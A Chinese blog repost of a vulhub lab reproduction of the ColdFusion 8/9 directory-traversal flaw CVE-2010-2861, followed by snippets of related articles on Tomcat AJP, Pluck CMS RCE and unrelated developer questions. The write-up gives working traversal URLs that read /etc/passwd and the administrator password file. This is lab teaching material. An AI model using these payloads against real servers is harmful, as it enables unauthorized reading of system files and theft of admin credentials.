草庐IT

CVE-2010-2861

Zovt 2023-03-28 原文

Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)复现

一、实验所需环境

1、Ubuntu

2、vulhub

3、coldfusion/CVE-2010-2861

二、漏洞介绍

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。

三、漏洞复现

(1)进入vulhub,选择coldfusion/CVE-2010-2861漏洞环境,
输入命令启动:docker-compose up -d

(2)环境启动可能需要1~5分钟,启动后,访问http://your-ip:8500/CFIDE/administrator/enter.cfm,可以看到初始化页面,输入密码admin,开始初始化整个环境。


(3)使用Burp Suite抓包,直接访问http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en,即可读取文件/etc/passwd:


(4)读取后台管理员密码http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en


(5)将密文复制到解密网站进行解密,解密后获取文明密码为:admin

参考链接:

有关CVE-2010-2861的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. ruby-on-rails - 我现在(2010 年 1 月)应该使用哪个版本的 Ruby? - 2

    我有1.8.6附带的VanillaMacOSXLeopard。我是RoR的新手,所以会学习网上的教程。在使用更高版本的Ruby时,我是否可能会发现遵循它们的问题?我目前正在查看提到1.8.6和1.8.7的这个-http://www.railstutorial.org/book 最佳答案 RoR教程对两者都适用,但如果您正在学习Ruby,则应该学习1.9。Rails3将不支持1.8.6,所以我会选择1.8.7或1.9。我还推荐使用RVM在Ruby版本之间切换。 关于ruby-on-rail

  3. ruby-on-rails - Railscasts 第 362 集 - 导出到 Excel : How to avoid the warning message given by Excel 2010 when opening the file? - 2

    当使用RyanBates的Railscasts第362集关于导出到Excel(https://github.com/railscasts/362-exporting-csv-and-excel)的示例应用程序时,我注意到Excel2010(在Windows上)在打开.xls文件时给我一条警告消息我使用“下载为Excel”链接下载的文件。警告内容如下:“您尝试打开的文件...的格式与文件扩展名指定的格式不同。打开文件前请确认文件未损坏且来源可靠。是否要打开现在存档吗?”当我单击"is"时,我可以很好地打开文件。在使用Excel2011(在Mac上)时,我什至没有收到警告消息。但我希望能够

  4. OpenSSL安全特征问题漏洞(CVE-2022-2068)版本1.0.2k-fips升级到3.0.5 - 2

    一、检查openssl版本opensslversion影响范围OpenSSL3.0.0版本:3.0.0、3.0.1、3.0.2、3.0.3OpenSSL1.1.1版本:1.1.1-1.1.1oOpenSSL1.0.2版本:1.0.2-1.0.2ze目前OpenSSL项目已经修复了这些漏洞,受影响用户可以更新到以下版本:OpenSSL3.0.0:升级至3.0.4OpenSSL1.1.1:升级至1.1.1pOpenSSL1.0.2:升级至1.0.2zf新版本下载链接https://www.openssl.org/source/也可以可以连互联网在线下载wgethttps://www.openssl

  5. javascript - Visual Studio 2010 阻止对某些文件进行 JScript 调试 - 2

    是否可以防止Javascript调试器进入某些文件?我特别不希望它在JqueryJavaScript文件中抛出异常时中断:其他第3方缩小文件也是如此……每次出现运行时错误时,它都会显示通知并打开文件。中断执行并打开缩小的文件并不能帮助我找到错误的原因。 最佳答案 某些原因导致了错误,您可能不应该忽略它。我建议切换到调试(未缩小)脚本并弄清楚错误到底是什么。一旦出现错误,如果您无法解决,请将其发布到stackoverflow上,我相信有人能够为您提供更多帮助。尝试通过jslint运行您的自定义脚本,看看是否存在任何明显的问题。http

  6. javascript - Visual Studio 2010 : Javascript Highlighting - 2

    我将VisualStudio2010与VS.PHP结合使用。当我编写或打开一个javascript文件时,它没有突出显示并且智能感知不工作。我看到的都是纯文本。VS似乎没有“识别”javascript文件。当我手动命令js文件在脚本编辑器中打开时(在工具>选项>文本编辑器>文件扩展名中),没有任何变化。荧光笔(在“工具”>“选项”>“环境”>“工具和颜色”中)已正确设置。你有什么想法我怎样才能突出显示?谷歌什么也没说。 最佳答案 您可能在安装VisualStudio时删除了“WebDeveloper2010”组件。或者您正在使用其中

  7. javascript - 让 JSLint 打破 visual studio 2010 中的构建 - 2

    我已将JSLint(http://javascriptlint.com)集成到我的构建后项目中-但似乎无法在出现错误/警告时使构建失败?目前JSLint是从一个在构建后执行的.bat文件中运行的如果遇到错误/警告,我可以传入一个参数来告诉JSLint使构建失败吗?先谢谢大家 最佳答案 JSLintextensionforVS2010有一个选项可以在错误列表中自动显示JSLint警告。此外,您可以在构建时运行JSLint并在违反规则时取消构建。或者,如果您想通过批处理脚本继续运行JSLint,您可以强制MSBuild根据脚本的返回退出

  8. javascript - Sharepoint 2010 客户端对象模型 - 获取当前列表的名称 - 2

    我正在尝试为Sharepoint2010中的功能区菜单创建一个简单的自定义操作按钮。我想保持它的通用性,所以不要对库名称等进行硬编码。如何找到当前正在查看的列表的名称?我想这是可能的,而不必从Url中解析它。非常感谢! 最佳答案 这花了一些时间,但我最终找到了答案。您可以使用Javascript获取列表的ID://GettheIdofthelistvarlistId=SP.ListOperation.Selection.getSelectedList(); 关于javascript-Sh

  9. javascript - 使用 Visual Studio 2010 时禁用 IE9 Javascript 调试器 - 2

    在IE9下使用VisualStudio时,有没有办法禁用javascript调试? 最佳答案 如果单击工具(Alt+X)按钮,则单击Internet选项菜单项。在Advanced选项卡和Browsing类别中:检查禁用脚本调试(InternetExplorer)这应该禁用Javascript调试器 关于javascript-使用VisualStudio2010时禁用IE9Javascript调试器,我们在StackOverflow上找到一个类似的问题: htt

  10. 春秋云境:CVE-2022-26965 - 2

    春秋云境:CVE-2022-26965文章合集:春秋云境系列靶场记录(合集)Pluck-CMS-Pluck-4.7.16后台RCE:CVE-2022-26965漏洞介绍Pluck-CMS-Pluck-4.7.16后台RCE解题步骤过弱口令登录:admin登录之后按照图中位置进行主题安装按照这位大哥文章:https://blog.csdn.net/weixin_39639260/article/details/116105945中说的,需要将主题中的info.php文件修改,再打包成zip再上传,通过网络搜索找到Github中的PluckCMS,进入后随便下载任一主题:对主题进行解压得到info

随机推荐